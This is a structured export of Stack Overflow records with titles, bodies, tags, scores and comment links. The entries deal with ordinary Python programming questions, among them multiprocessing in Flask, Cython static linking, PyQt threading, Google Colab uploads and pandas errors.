has body: Problem: I have been trying to use the multiprocessing library (anaconda - python3) in a flask application. The goal is to start a process asynchronously after clicking some button in the web page. To that end, the webpage button fires a function in a controller: @module.route('/start_long_process', methods=['POST']) def start_long_process(): ... # Start process async p = Process(target=some_function) p.start() ... If I then afterwards check whether the process is alive by doing this: print(p.pid) print(p.is_alive()) the pid and True value are returned. However, it seems as if the function never actually started. Any print or simply write to file command does not take place. While when I try to run this same function by using a multiprocessing Process not being in the flask application it does do what is expected. I know preferably something as Celery is used in combination with flask and multi-threaded tasks but that would be a lot of overhead. Question Is it not possible to start a separate process from within a flask controller function?
tagged with: python-multiprocessing
tagged with: multiprocessing
type: Question
accepted answer: http://stackoverflow.com/a/48804653
downvote count: 0
tagged with: flask

http://stackoverflow.com/comment/84508173
type: AnswerComment
has text: Another version of the distribuitive: `sum(sum(p[i] for p in a)*sum(p[i] for p in b) for i in range(2))`.
comment on: http://stackoverflow.com/a/48753082
type: Comment
score: 0

http://stackoverflow.com/comment/84478247
type: Comment
has text: Try to use other client to upload a file.
comment on: http://stackoverflow.com/q/48739066
score: 1
type: QuestionComment

http://stackoverflow.com/q/48703423
favorite count: 0
has title: Cython: Compile a Standalone Static Executable
tagged with: python
has comment: http://stackoverflow.com/comment/84421359
tagged with: c++
type: AnsweredQuestion
tagged with: cython
has answer: http://stackoverflow.com/a/48718979
type: Question
has comment: http://stackoverflow.com/comment/84415114
accepted answer: http://stackoverflow.com/a/48718979
has body: I'm trying to compile an executable (ELF file) that does not use a dynamic loader. I used Cython to compile Python to C: cython3 -3 test.py --embed Then gcc test.c -otest $(pkg-config --libs --cflags python3) to compile C generated file. Now I'd like to compile test.c in a static executable. Usually I use -static flag, but here it return collect2: error: ld returned 1 exit status. How can I do? EDIT 1: Not the full messge becouse body is limited to 30000 chars a long list of warnings and errors like these: ... /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/libpython3.5m.a(pyexpat.o):(.data+0x430): undefined reference to `XML_SetStartCdataSectionHandler' /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/libpython3.5m.a(pyexpat.o):(.data+0x458): undefined reference to `XML_SetEndCdataSectionHandler' /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/libpython3.5m.a(pyexpat.o):(.data+0x480): undefined reference to `XML_SetDefaultHandler' /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/libpython3.5m.a(pyexpat.o):(.data+0x4a8): undefined reference to `XML_SetDefaultHandlerExpand' /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/libpython3.5m.a(pyexpat.o):(.data+0x4d0): undefined reference to `XML_SetNotStandaloneHandler' /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/libpython3.5m.a(pyexpat.o):(.data+0x4f8): undefined reference to `XML_SetExternalEntityRefHandler' /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/libpython3.5m.a(pyexpat.o):(.data+0x520): undefined reference to `XML_SetStartDoctypeDeclHandler' /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/libpython3.5m.a(pyexpat.o):(.data+0x548): undefined reference to `XML_SetEndDoctypeDeclHandler' /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/libpython3.5m.a(pyexpat.o):(.data+0x570): undefined reference to `XML_SetEntityDeclHandler' /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/libpython3.5m.a(pyexpat.o):(.data+0x598): un…
upvote count: 12
tagged with: static-linking
tagged with: http://stackoverflow.com/tag/c
score: 12
has comment: http://stackoverflow.com/comment/84413497
has comment: http://stackoverflow.com/comment/84414764
answer count: 1
has comment: http://stackoverflow.com/comment/84537456
downvote count: 0
has comment: http://stackoverflow.com/comment/84405208

http://stackoverflow.com/q/48793100
answer count: 1
downvote count: 0
has title: How to update QML ListView from a python thread?
favorite count: 0
tagged with: python
has body: I'm writing a small program that fetches submissions from Reddit. So far, my goal is just fetch the submissions and display them in a ListView in QML. I created a basic QML file, and created a class called 'SubmissionModel' which extends 'QAbstractListModel'. I use PRAW to get reddit submissions, which works quite well. I use a function called 'fetch' that populates the SubmissionModel class with new submissions it gets from reddit. This however blocks the QML view and makes it hang until the 'fetch' function exits. I tried to run the 'fetch' function in another Python thread, which frees the QML view, but sadly the ListView is no longer updated. I'm searching for a way I can update ListView on the QML side while running the fetch function from another thread. The Fetch Function: def fetch(): reddit = init_reddit() subreddit = reddit.subreddit('LandscapePhotography') counter = 0 for submission in subreddit.submissions(None, time.time()): counter += 1 print( "Counter: {} Submission title: {} , Submission URL: {} ,Created at: {}".format( counter, submission.title, submission.url, datetime.datetime.fromtimestamp(int(submission.created)).strftime('%Y-%m-%d %H:%M:%S'))) model.addSubmission(Submission(submission.title, submission.url, datetime.datetime.fromtimestamp(int(submission.created)).strftime( '%Y-%m-%d %H:%M:%S'))) if counter == 400: break The 'SubmissionModel' Class: class SubmissionModel(QAbstractListModel): NameRole = Qt.UserRole + 1 LinkRole = Qt.UserRole + 2 TimeRole = Qt.UserRole + 3 _roles = {NameRole: b"name", LinkRole: b"link", TimeRole: b"time"} def __init__(self, parent=None): super(SubmissionModel, self).__init__(parent) self._submissions = [] def addSubmission(self, submission): self.beginInsertRows(QModelIndex(), self.rowCount(), self.rowCount()) self._submissions.append(submission) self.endInsertRows() def rowCount(self, parent=QModelIndex()): return len(self._submissions) def data(self, index, role=Qt.DisplayRole): try: submission = self._submissio…
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48794711
score: 1
tagged with: multithreading
tagged with: pyqt5
upvote count: 1
type: Question
tagged with: qml
tagged with: pyqt
has answer: http://stackoverflow.com/a/48794711

http://stackoverflow.com/q/48760475
tagged with: google-colaboratory
tagged with: python
has answer: http://stackoverflow.com/a/71868480
tagged with: file-upload
favorite count: 0
score: 24
accepted answer: http://stackoverflow.com/a/48777857
linked to: http://stackoverflow.com/q/48420759
answer count: 5
has answer: http://stackoverflow.com/a/71144492
has body: I am trying to upload a word2vec file in Google Colaboratory from local system and use it further in the in code. This is the code that I used. from google.colab import files uploaded = files.upload() Everytime I execute it, it is showing the following error. Upload widget is only available when the cell has been executed in the current browser session. Please rerun this cell to enable MessageError Traceback (most recent call last) &lt;ipython-input-1-292f82be1b7a&gt; in &lt;module&gt;() 1 from google.colab import files 2 ----&gt; 3 uploaded = files.upload()` 4 5 for fn in uploaded.keys(): /usr/local/lib/python3.6/dist-packages/google/colab/files.py in upload() 59 result = output.eval_js( 60 'google.colab._files._uploadFiles("{input_id}", "{output_id}")'.format( ---&gt; 61 input_id=input_id, output_id=output_id)) 62 files = collections.defaultdict(six.binary_type) 63 /usr/local/lib/python3.6/dist-packages/google/colab/output/_js.py in eval_js(script, ignore_result) 37 if ignore_result: 38 return ---&gt; 39 return _message.read_reply_from_input(request_id) 40 41 /usr/local/lib/python3.6/dist-packages/google/colab/_message.py in read_reply_from_input(message_id, timeout_sec) 84 reply.get('colab_msg_id') == message_id): 85 if 'error' in reply: ---&gt; 86 raise MessageError(reply['error']) 87 return reply.get('data', None) 88 MessageError: TypeError: google.colab._files is undefined Why is this happening? What should I do?
has answer: http://stackoverflow.com/a/64264036
has title: Not able to upload local files in google colab
upvote count: 24
type: Question
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/71144492
has answer: http://stackoverflow.com/a/61093808
has answer: http://stackoverflow.com/a/48777857
downvote count: 0

http://stackoverflow.com/comment/132794979
score: 0
has text: Python 3.11.0 and Windows-10 try to install in a virtual environment ....but it is showing same error.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48720833

http://stackoverflow.com/q/48735671
has comment: http://stackoverflow.com/comment/84473109
has answer: http://stackoverflow.com/a/66559361
favorite count: 0
linked to: http://stackoverflow.com/q/1024435
possible better answer: http://stackoverflow.com/a/66559361
has answer: http://stackoverflow.com/a/68114238
has body: Apologize for the newbie question, but I have read the manual, this question, and tried several times without results I expected. So I was using vim to edit a file (attached). But when running, I got the TabError: inconsistent use of tabs and spaces in indentation error. Here is what I have tried: Open the file with Vim. type :retab, and :x. Run the file again. Still got the TabError message. Open the file again and type :retab! and :x. Run the file again. Still got the TabError message. Open the file again and type :retab! 4 and :x. Run the file again. This time it works but I have no idea why? Plus, in the files indentation seems excessively long. (I read here that the editor might display 8 spaces for a tab) My questions are: What does :retab, :retab!, and :retab! 4 mean? Why doesn't :retab work on my file? #!/usr/bin/env python #Reduce function for computing matrix multiply A*B #Input arguments: #variable n should be set to the inner dimension of the matrix product (i.e., the number of columns of A/rows of B) import sys import string import numpy #number of columns of A/rows of B n = int(sys.argv[1]) #Create data structures to hold the current row/column values (if needed; your code goes here) currentkey = None alist = [] # list for elelents in A blist = [] # list for elements in B # input comes from STDIN (stream data that goes to the program) for line in sys.stdin: #Remove leading and trailing whitespace line = line.strip() #Get key/value key, value = line.split('\t',1) print(key, value) #Parse key/value input (your code goes here) key = (key.split(',', 1)[0], key.split(',',1)[1]) value = (value.split(',', 1)[0], value.split(',',1)[1], value.split(',',1)[2]) #If we are still on the same key... if key==currentkey: #Process key/value pair (your code goes here) # store all values in a lisl if value[0]=='A': alist.append([value[1], value[2]]) else: blist.append([value[1], value[2]]) #Otherwise, if this is a new key... else: #If this is a new key and not the first …
has title: Use Vim Retab to solve TabError: inconsistent use of tabs and spaces in indentation?
has comment: http://stackoverflow.com/comment/84471279
answer count: 4
has answer: http://stackoverflow.com/a/48736702
tagged with: python
downvote count: 1
tagged with: vim
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/5685406
score: 26
accepted answer: http://stackoverflow.com/a/48736702
linked to: http://stackoverflow.com/q/10760082
has answer: http://stackoverflow.com/a/79235795
type: Question
upvote count: 27
has comment: http://stackoverflow.com/comment/84470922

http://stackoverflow.com/q/48764111
type: AnsweredQuestion
score: 1
upvote count: 1
type: Question
tagged with: django-admin
has body: I use Django 1.11.10 and python 3.6; I need to iterate form values in admin. How to do that? class ServerForm(forms.ModelForm): class Meta: model = Server def clean(self): setattr(self, 'field1', 'value1') setattr(self, 'field2', 'value2') class ServerAdmin(admin.ModelAdmin): form = ServerForm def save_model(self, request, obj, form, change): # this works # but how to iterate form? obj.field1 = form.field1 obj.field2 = form.field2 # AttributeError: 'ServerForm' object has no attribute 'items' for key, value in form.items(): setattr(obj, key, value) super(ServerAdmin, self).save_model(request, obj, form, change)
answer count: 2
has answer: http://stackoverflow.com/a/48764953
downvote count: 0
has answer: http://stackoverflow.com/a/48765081
favorite count: 0
possible better answer: http://stackoverflow.com/a/48764953
accepted answer: http://stackoverflow.com/a/48765081
tagged with: django
tagged with: python
linked to: http://stackoverflow.com/q/11637293
has comment: http://stackoverflow.com/comment/84528755
has title: Django admin: how iterate over form attributes in ModelAdmin

http://stackoverflow.com/comment/109260715
comment on: http://stackoverflow.com/a/51667654
has text: I get a error in this line:`x=tf.image.resize_images(x, (x.get_shape().as_list()[1]//(2**(i+1)), x.get_shape().as_list()[2]//(2**(i+1))))`. Results:`TypeError: unsupported operand type(s) for //: 'NoneType' and 'int'`.What did I miss? Many Thank.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/48743032
has answer: http://stackoverflow.com/a/48743122
type: Question
possible better answer: http://stackoverflow.com/a/48743122
linked to: http://stackoverflow.com/q/45626780
type: AnsweredQuestion
upvote count: 33
has answer: http://stackoverflow.com/a/71270209
has title: Get intermediate data state in scikit-learn Pipeline
has answer: http://stackoverflow.com/a/48755663
has answer: http://stackoverflow.com/a/68229226
score: 33
has comment: http://stackoverflow.com/comment/84486912
has answer: http://stackoverflow.com/a/69620362
downvote count: 0
answer count: 7
tagged with: scikit-learn
favorite count: 0
has answer: http://stackoverflow.com/a/72876875
has body: Given the following example: from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.decomposition import NMF from sklearn.pipeline import Pipeline import pandas as pd pipe = Pipeline([ ("tf_idf", TfidfVectorizer()), ("nmf", NMF()) ]) data = pd.DataFrame("Salut comment tu vas", "Hey how are you today", "I am okay and you ?").T data.columns = ["test"] pipe.fit_transform(data.test) I would like to get intermediate data state in scikit learn pipeline corresponding to tf_idf output (after fit_transform on tf_idf but not NMF) or NMF input. Or to say things in another way, it would be the same than to apply TfidfVectorizer().fit_transform(data.test) I know pipe.named_steps["tf_idf"] ti get intermediate transformer, but I can't get data, only parameters of the transformer with this method.
accepted answer: http://stackoverflow.com/a/48755663
tagged with: python
has answer: http://stackoverflow.com/a/71894354
linked to: http://stackoverflow.com/q/34802465

http://stackoverflow.com/q/48717615
has body: I have 3 CSVs that are being generated that I'm looking to combine into one. I only need certain columns from each file but I need them to match up on the switch number and the interface File1 switch1,Gi1/0/22,connected,716,a-full,a-100,10/100/1000BaseTX switch2,Fa3/0/8,connected,716,a-full,a-100,10/100BaseTX switch3,Fa2/0/5,connected,716,a-full,a-100,10/100BaseTX File2 switch1,716,0040.0020.0010,DYNAMIC,Gi1/0/22 switch2,716,0030.0020.1010,DYNAMIC,Fa3/0/8 switch3,716,0050.0030.1010,DYNAMIC,Fa2/0/5 File3 switch1,Gi1/0/22,0,32,0,33,0,9 switch2,Fa3/0/8,0,0,0,0,0,362 switch3,Fa2/0/5,0,10,20,0,0,100 I'm trying to get the final csv to look like this: switch1,Gi1/0/22,0040.0020.0010,0,32,0,33,0,9 switch2,Fa3/0/8,0030.0020.1010,0,0,0,0,0,362 switch3,Fa2/0/5,0050.0030.1010,0,10,20,0,0,100 which is the switch name, interface, 3rd column of File2, and columns 3-8 from File3 Not looking for an exact answer if you don't want to give it, but more of a general idea/direction. Still pretty new to python.
score: 0
has title: Python Read unique CSV Values for Loop
accepted answer: http://stackoverflow.com/a/48718033
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has comment: http://stackoverflow.com/comment/84434467
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48717813
has answer: http://stackoverflow.com/a/48718033
has answer: http://stackoverflow.com/a/48717813
type: Question
answer count: 2

http://stackoverflow.com/comment/84299667
score: 0
comment on: http://stackoverflow.com/q/48648631
type: Comment
type: QuestionComment
has text: @DiegoJoseQuanCampos you still haven't provided a sample case ("I give input x and expect output y, but get output z instead") which makes this question off-topic. Can you edit to correct?

http://stackoverflow.com/q/48697120
score: 0
has comment: http://stackoverflow.com/comment/84393070
has comment: http://stackoverflow.com/comment/84393048
tagged with: hash-collision
tagged with: python-3.5
answer count: 0
has comment: http://stackoverflow.com/comment/84393089
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/10130454
has body: I was trying out the python3 in-built hash() method for arbitrary values, then ranges, and I saw something funny: &gt;&gt;&gt; [hash(i) for i in range(-20,20)] [-20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, -9, -8, -7, -6, -5, -4, -3, -2, -2, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19] The hash value produced for integers is usually the integer itself, except for -1, which, for some reason, is -2, as is that of -2 as well. My Python3 interpreter is: Python 3.5.2 (default, Nov 23 2017, 16:37:01) [GCC 5.4.0 20160609] on linux This can be replicated elsewhere, too, such as repl.it, which produced: Python 3.6.1 (default, Dec 2015, 13:05:11) [GCC 4.8.2] on linux hash(1) =&gt; 1 [hash(i) for i in range(-20,20)] =&gt; [-20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, -9, -8, -7, -6, -5, -4, -3, -2, -2, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19] &lt;iframe height="400px" width="100%" src="https://repl.it/@aalok_sathe/FairCornflowerblueLadybug?lite=true" scrolling="no" frameborder="no" allowtransparency="true" allowfullscreen="true" sandbox="allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts allow-modals"&gt;&lt;/iframe&gt; I understand that hashing may produce collisions, and if at all this is a case of collision, I did not expect it to happen on this small a scale. I'm looking for anything that could help explain this behavior, and any tips on what alternatives/workarounds could be used when I actually need to use this in a program (one that I can think of is converting integers to strings and then hashing, but that would not allow for different types having different hash values). The application specifics aside, I'm just puzzled by this so any pointer would help.
has title: Why does python3 produce the same hash value for -1 and -2?
tagged with: hash
type: Question
duplicate of: http://stackoverflow.com/q/10130454
tagged with: python
has comment: http://stackoverflow.com/comment/84393148

http://stackoverflow.com/comment/84384335
type: Comment
has text: When I print `range(len(position.keys())-1)` it gets me the full range (1440 all minutes in a day) the problem is in the empty data
type: QuestionComment
comment on: http://stackoverflow.com/q/48692220
score: 0

http://stackoverflow.com/q/48664557
answer count: 0
score: 1
upvote count: 1
type: Question
tagged with: numpy
has title: error : "DataFrame constructor not properly called!"
has comment: http://stackoverflow.com/comment/84327754
has body: i am using this function to create two-way interactions for all features (using sickitLeran function PolynomialFeatures ), but i got this error : "DataFrame constructor not properly called!" my code is : def add_interactions(DataFrame): combos=list(combinations(list(DataFrame.columns), 2)) colnames=list(DataFrame.columns) + ['-'.join(x) for x in combos] poly = PolynomialFeatures(degree=2) DataF = poly.fit(DataFrame) print(DataF) DataF.columns=colnames DataFrame = pd.DataFrame(DataF) noint_indicies=[i for i, x in enumerate (list((DataFrame == 0).all())) if x] DataFrame = DataFrame.drop(DataFrame.columns[noint_indicies], axis=1) return DataFrame T = add_interactions(X) the traceback of the error: --------------------------------------------------------------------------- ValueError Traceback (most recent call last) &lt;ipython-input-61-790b132c4f1d&gt; in &lt;module&gt;() 1 poly = PolynomialFeatures(degree=2,interaction_only=True, include_bias=False) 2 DataFrame = poly.fit(X) ----&gt; 3 DataFrame = pd.DataFrame(data = DataFrame) 4 print(DataFrame.head(3)) ~\Anaconda3\lib\site-packages\pandas\core\frame.py in __init__(self, data, index, columns, dtype, copy) 402 dtype=values.dtype, copy=False) 403 else: --&gt; 404 raise ValueError('DataFrame constructor not properly called!') 405 406 NDFrame.__init__(self, mgr, fastpath=True) ValueError: DataFrame constructor not properly called!
tagged with: pandas
downvote count: 0
has comment: http://stackoverflow.com/comment/84328202
favorite count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84327486

http://stackoverflow.com/a/48789857
has body: You could check both age and number of traffic violations at the beginning of the program, and exit if conditions are not satisfied: if (Age &lt; 16 or Age &gt;= 106 or Violations&lt;0): print("Invalid Entry") exit() For that solution you will need to import exit function before executing it: from sys import exit *EDIT. Following our comments, here is a code that should work: from sys import exit Name = input("What is the customers name? ") # enter age and violations number and check type and value try: Age = int(input("What is the age of the customer? ")) Violations = int((input("How many violations does the customer have? "))) except ValueError: exit('invalid entry') if (Violations&lt;0 or Age not in range(16,107)): exit('invalid entry') def main(name, age,violations): driver_risk = Number_violations(violations) price = Premium(violations,age) print("{} as a {} risk driver, your insurance will cost {}".format(name, driver_risk, price)) def Number_violations(violations): if violations == 0: return "None" elif violations == 1: return "Low" elif violations in [2,3]: return "Moderate" else: return "High" def Premium(violations,age): if violations &gt;= 4 and age &gt;= 25: return "$410.00" elif violations &gt;= 4 and age &lt; 25: return "480.00" elif violations == 3 and age &gt;= 25: return "390.00" elif violations == 3 and age &lt; 25: return "450.00" elif violations == 2 and age &gt;= 25: return "365.00" elif violations == 2 and age &lt; 25: return "405.00" elif violations == 1 and age &gt;= 25: return "315.00" elif violations == 1 and age &lt; 25: return "$380.00" elif violations == 0 and age &gt;= 25: return "275.00" else: return "$325" main(Name,Age,Violations)
has comment: http://stackoverflow.com/comment/84581701
has comment: http://stackoverflow.com/comment/84582578
has comment: http://stackoverflow.com/comment/84632225
has comment: http://stackoverflow.com/comment/84582313
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84584105
accepted answer of: http://stackoverflow.com/q/48789362
score: 0
has comment: http://stackoverflow.com/comment/84582022
answers question: http://stackoverflow.com/q/48789362
type: Answer
has comment: http://stackoverflow.com/comment/84581800

python-2.7
tags question: http://stackoverflow.com/q/48659356
tags question: http://stackoverflow.com/q/48678655
tags question: http://stackoverflow.com/q/48675338
tags question: http://stackoverflow.com/q/48744708
tags question: http://stackoverflow.com/q/48798939
tags question: http://stackoverflow.com/q/48749138
tags question: http://stackoverflow.com/q/48736293
tags question: http://stackoverflow.com/q/48745333
tags question: http://stackoverflow.com/q/48667630
tags question: http://stackoverflow.com/q/48778152
tags question: http://stackoverflow.com/q/48675645
tags question: http://stackoverflow.com/q/48732403
tags question: http://stackoverflow.com/q/48716914
tags question: http://stackoverflow.com/q/48724585
tags question: http://stackoverflow.com/q/48704575
tags question: http://stackoverflow.com/q/48661534
tags question: http://stackoverflow.com/q/48709145
tags question: http://stackoverflow.com/q/48654011
tags question: http://stackoverflow.com/q/48670339
tags question: http://stackoverflow.com/q/48655612
tags question: http://stackoverflow.com/q/48745906
tags question: http://stackoverflow.com/q/48769004
tags question: http://stackoverflow.com/q/48796453
tags question: http://stackoverflow.com/q/48706052
tags question: http://stackoverflow.com/q/48719833
tags question: http://stackoverflow.com/q/48751831
tags question: http://stackoverflow.com/q/48682932
tags question: http://stackoverflow.com/q/48737325
tags question: http://stackoverflow.com/q/48759546
tags question: http://stackoverflow.com/q/48802410
tags question: http://stackoverflow.com/q/48656917
tags question: http://stackoverflow.com/q/48727833
tags question: http://stackoverflow.com/q/48783872
tags question: http://stackoverflow.com/q/48798047
tags question: http://stackoverflow.com/q/48705166
tags question: http://stackoverflow.com/q/48770199
tags question: http://stackoverflow.com/q/48663731
tags question: http://stackoverflow.com/q/48780595
tags question: http://stackoverflow.com/q/48742113
tags question: http://stackoverflow.com/q/48658927
tags question: http://stackoverflow.com/q/48771195
tags question: http://stackoverflow.com/q/48692220
tags question: http://stackoverflow.com/q/48707983
tags question: http://stackoverflow.com/q/48778995
tags question: http://stackoverflow.com/q/48729365
tags question: http://stackoverflow.com/q/48720548
tags question: http://stackoverflow.com/q/48711920
tags question: http://stackoverflow.com/q/48669796
tags question: http://stackoverflow.com/q/48747988
tags question: http://stackoverflow.com/q/48720833
tags question: http://stackoverflow.com/q/48740260
tags question: http://stackoverflow.com/q/48734712
tags question: http://stackoverflow.com/q/48655488
tags question: http://stackoverflow.com/q/48697622
tags question: http://stackoverflow.com/q/48710817
tags question: http://stackoverflow.com/q/48775626
tags question: http://stackoverflow.com/q/48707748
tags question: http://stackoverflow.com/q/48747500
tags question: http://stackoverflow.com/q/48683782
tags question: http://stackoverflow.com/q/48653091
tags question: http://stackoverflow.com/q/48770154
tags question: http://stackoverflow.com/q/48682565
tags question: http://stackoverflow.com/q/48700017
tags question: http://stackoverflow.com/q/48788892
tags question: http://stackoverflow.com/q/48731700
tags question: http://stackoverflow.com/q/48772508
tags question: http://stackoverflow.com/q/48696979
tags question: http://stackoverflow.com/q/48748522
tags question: http://stackoverflow.com/q/48665974
tags question: http://stackoverflow.com/q/48700275
tags question: http://stackoverflow.com/q/48785833
tags question: http://stackoverflow.com/q/48765363
tags question: http://stackoverflow.com/q/48724508
tags question: http://stackoverflow.com/q/48756304
tags question: http://stackoverflow.com/q/48766059
tags question: http://stackoverflow.com/q/48710933
tags question: http://stackoverflow.com/q/48803632
tags question: http://stackoverflow.com/q/48714600
tags question: http://stackoverflow.com/q/48672478
tags question: http://stackoverflow.com/q/48794316

http://stackoverflow.com/q/48716033
has answer: http://stackoverflow.com/a/48716258
has body: The below piece of code gives me a memory error when I run it. It is part of a simple neural net I'm building. Keep in mind that all the math is written out for learning purposes: learning_rate = 0.2 costs = [] for i in range(50000): ri = np.random.randint(len(data)) point =data[ri] ## print (point) z = point[0] * w1 + point[1] * w2 + b pred = sigmoid(z) target = point[2] cost = np.square(pred-target) costs.append(cost) dcost_pred = 2* (pred-target) dpred_dz = sigmoid_p(z) dz_dw1 = point[0] dz_dw2 = point[1] dz_db = 1 dcost_dz = dcost_pred*dpred_dz dcost_dw1 = dcost_pred*dpred_dz*dz_dw1 dcost_dw2 = dcost_pred*dpred_dz dcost_db = dcost_dz * dz_db w1 = w1 - learning_rate*dcost_dw1 w2 = w2 - learning_rate*dcost_dw2 b = b - learning_rate*dcost_db plt.plot(costs) if i % 100 == 0: for j in range(len(data)): cost_sum = 0 point = data[ri] z = point[0]*w1+point[1]*w2+b pred = sigmoid(z) target = point[2] cost_sum += np.square(pred-target) costs.append(cost_sum/len(data)) When the program gets to this part it results in the following error: Traceback (most recent call last): File "D:\First Neual Net.py", line 89, in &lt;module&gt; plt.plot(costs) File "C:\Program Files (x86)\Python36-32\lib\site-packages\matplotlib\pyplot.py", line 3261, in plot ret = ax.plot(*args, **kwargs) File "C:\Program Files (x86)\Python36-32\lib\site-packages\matplotlib\__init__.py", line 1717, in inner return func(ax, *args, **kwargs) File "C:\Program Files (x86)\Python36-32\lib\site-packages\matplotlib\axes\_axes.py", line 1373, in plot self.add_line(line) File "C:\Program Files (x86)\Python36-32\lib\site-packages\matplotlib\axes\_base.py", line 1779, in add_line self._update_line_limits(line) File "C:\Program Files (x86)\Python36-32\lib\site-packages\matplotlib\axes\_base.py", line 1801, in _update_line_limits path = line.get_path() File "C:\Program Files (x86)\Python36-32\lib\site-packages\matplotlib\lines.py", line 957, in get_path self.recache() File "C:\Program Files (x86)\Python36-32\lib\site-…
has comment: http://stackoverflow.com/comment/84431336
downvote count: 0
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84431473
has comment: http://stackoverflow.com/comment/84431543
accepted answer: http://stackoverflow.com/a/48716258
tagged with: python
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84431495
has title: Python memory error when trying to build simple neural net
has comment: http://stackoverflow.com/comment/84431527
upvote count: 2
has comment: http://stackoverflow.com/comment/84431501
type: Question
has comment: http://stackoverflow.com/comment/84431629

http://stackoverflow.com/a/48803689
has body: Your problem is with this bit of code: for filename in possibleFiles: filedate = re.search(string, filename) if filedate: newfile = filename newfile only gets defined if filedate. Either: Check your inputs so if filedate returns True. Place all subsequent code under the if clause (via extra indentation) so that it only get executed if filedate == True.
answers question: http://stackoverflow.com/q/48803613
has comment: http://stackoverflow.com/comment/84617421
has comment: http://stackoverflow.com/comment/84617829
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/84617620

http://stackoverflow.com/comment/84561516
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48766069
type: Comment
has text: I'll try to find a faster alternative.

http://stackoverflow.com/q/48780130
has answer: http://stackoverflow.com/a/48843635
has comment: http://stackoverflow.com/comment/84583701
type: UnansweredQuestion
downvote count: 2
tagged with: python
tagged with: java
has body: Sample Input format: Name of the file, Author, format type, id, content length. resume, abc, pdf, 7, 90 resume, asc, doc, 2, 90 resume, azc, docx, 3, 90 Output: Missing document format pdf 2,3 doc 7,3 Here is my approach: take input from external txt file(Required). File file = new File("//Users//Downloads//test_cases//input.txt"); ArrayList&lt;String&gt; al=new ArrayList&lt;String&gt;();//creating new generic arraylist BufferedReader br = new BufferedReader(new FileReader(file)); String st; while ((st = br.readLine()) != null) al.add(st); br.close(); So, my question is which is apt data structure to use? After reading each line. also how should i approach in storing data ? A sample code would be great help. thanks in advance.
has comment: http://stackoverflow.com/comment/84562728
type: Question
has title: How to read each line and then find the missing document?
has answer: http://stackoverflow.com/a/48780361
score: -2
answer count: 2
upvote count: 0
has comment: http://stackoverflow.com/comment/84595144
favorite count: 0

http://stackoverflow.com/q/48660656
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/86144723
has title: multiprocessing python 3.6 on windows 10 not working
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84320233
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/32296037
has answer: http://stackoverflow.com/a/51753469
has comment: http://stackoverflow.com/comment/98055759
tagged with: python-multiprocessing
type: Question
upvote count: 4
downvote count: 0
score: 4
favorite count: 0
has body: I was working with python 3.6 on Linux, and I was using python's multiprocessing library, It was working until I switch to Windows 10. First, I thought it's because the multiprocessing library doesn't work the same way on Linux and Windows, so I make sure that all my variables are picklable but no results. Then, I wanted to see if multiprocessing pool is working, I tried this code : (the basic example in multiprocessing doc) from multiprocessing import Pool def f(x): return x*x if __name__ == '__main__': p = Pool(5) print(p.map(f, [1, 2, 3])) It didn't work and when I check the processors in the task manager, only 1% is used. I also tried the p.map_async, it worked but when I try to get the results (p.map_async().get()) it doesn't work (RuntimeError)
has comment: http://stackoverflow.com/comment/98054507

http://stackoverflow.com/comment/84497760
comment on: http://stackoverflow.com/q/48733200
has text: @tripleee, ...if you wanted to edit this question such that it's no longer titled as being principally about bash but is explicitly asking a question about best practices in helping a Python program find its install location (or whatever), I'd agree that it would no longer be duplicate. That said, I've reread the question and still don't see how the OP is "explicitly rejecting" `$BASH_SOURCE` -- they're explicitly rejecting `$PWD`, which is correct, because if you want the source file's location, the shell's current working directory isn't going to give a correct result.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84542292
score: 1
has text: I wonder how you manage to create an annotation showing `"some property"` but fail to create one showing `"}"`.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48770052

http://stackoverflow.com/comment/99139218
score: 0
type: AnswerComment
type: Comment
has text: @SrikanthMargam There is another kwarg, `fmt='jpg'`. `images = pdf2image.convert_from_path('pdf path', output_folder='output path', fmt='format')`
comment on: http://stackoverflow.com/a/48761447

http://stackoverflow.com/q/48678902
answer count: 0
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84355789
has comment: http://stackoverflow.com/comment/84355995
has comment: http://stackoverflow.com/comment/84356087
has comment: http://stackoverflow.com/comment/84371540
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84356118
score: 1
tagged with: usb
tagged with: pyusb
has title: Raspberry Pi USB Data in Python
tagged with: raspberry-pi
